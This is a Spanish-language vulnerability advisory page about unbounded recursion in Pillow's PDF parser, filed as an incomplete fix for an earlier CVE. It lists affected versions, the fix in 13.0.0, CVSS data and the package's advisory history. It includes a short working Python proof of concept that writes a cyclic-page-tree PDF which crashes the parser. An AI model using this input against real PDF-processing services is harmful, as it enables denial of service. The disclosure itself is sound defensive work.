Alta

Pillow: Recursión ilimitada al analizar un árbol de páginas o una cadena de trailer de PDF (corrección incompleta para CVE-2026-42310)

  • Publicada: 20.10.2026
  • Actualizado: 20.10.2026 23:38

Resumen

Cuando una aplicación añade contenido a un PDF existente con Image.save(..., format="PDF", append=True), Pillow analiza ese archivo con PdfParser. Dos analizadores recursivos carecen de un límite efectivo. linearize_page_tree sigue /Kids sin un conjunto de visitados ni un límite de profundidad, por lo que un árbol de páginas cíclico o duplicado entra en recursión indefinida. read_prev_trailer rechaza únicamente un desplazamiento /Prev exactamente repetido, por lo que una cadena larga de desplazamientos únicos aún entra en recursión. La protección contra bucles en el trailer agregada para CVE-2026-42310 no cubre ninguno de los dos casos.

Detalles

linearize_page_tree realiza recursión sobre /Kids sin verificación de ciclos ni de profundidad:

  • src/PIL/PdfParser.py:1078-1092

read_prev_trailer solo detecta un desplazamiento repetido:

  • src/PIL/PdfParser.py:697-720 (la verificación processed_offsets en :714-718 corresponde a la corrección de CVE-2026-42310; una cadena de desplazamientos únicos la elude)

PoC

python
from PIL import PdfParser

# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
    1: b"<< /Type /Catalog /Pages 2 0 R >>",
    2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b")   # append=True parses the existing file the same way

Ejecución:

bash
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded

El archivo de 315 bytes desencadena la recursión durante el análisis. Un árbol /Kids duplicado (no cíclico) produce, en cambio, un consumo superlineal de CPU y memoria, y una cadena larga de /Prev con desplazamientos únicos desencadena la recursión en el extremo del trailer.

Impacto

Un servicio que añade datos a archivos PDF suministrados por usuarios, por ejemplo un pipeline de estamping o marcas de agua, puede verse abocado a una recursión no controlada o a un uso intensivo de CPU y memoria antes de que se escriba ninguna imagen. Seguimiento de CVE-2026-42310. Dado que las políticas de Pillow desaconsejan registrar excepciones estándar de Python como denegación de servicio, se prioriza el caso del árbol cíclico, que consume CPU y memoria en lugar de limitarse a generar RecursionError. La solución consiste en un conjunto de elementos visitados junto con un límite de profundidad en ambos analizadores.

Qué hacer

Actualice Pillow a la versión 13.0.0 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) pillow >= 5.1.0, < 13.0.0 13.0.0

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-674
Plataforma
Python (PyPI)
Paquete
pillow
Publicada
20.10.2026
Actualizado
20.10.2026 23:38

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-p4wg-p73j-c528 - CC BY 4.0

Historial de vulnerabilidades: pillow

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (81) en el archivo
Entradas en total
81
Primera → última
04.2014 10.2026
Sin corrección
0
Explotada en ataques
1

Distribución por gravedad

  • Crítica 10
  • Alta 53
  • Media 16
  • Baja 1
  • Sin evaluar 1

Divulgaciones por año

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 23

antes: 12

Gravedad:
  1. Pillow: Recursión ilimitada al analizar un árbol de páginas o una cadena de trailer de PDF (corrección incompleta para CVE-2026-42310) esta entrada
    Alta CVE-2026-112895 >= 5.1.0, < 13.0.0 13.0.0
  2. Alta · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  3. Alta CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  4. Alta · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  5. Alta CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  6. Alta · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  7. Alta · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  8. Crítica · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
Mostrar más (20) Mostrando 20 de 63

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.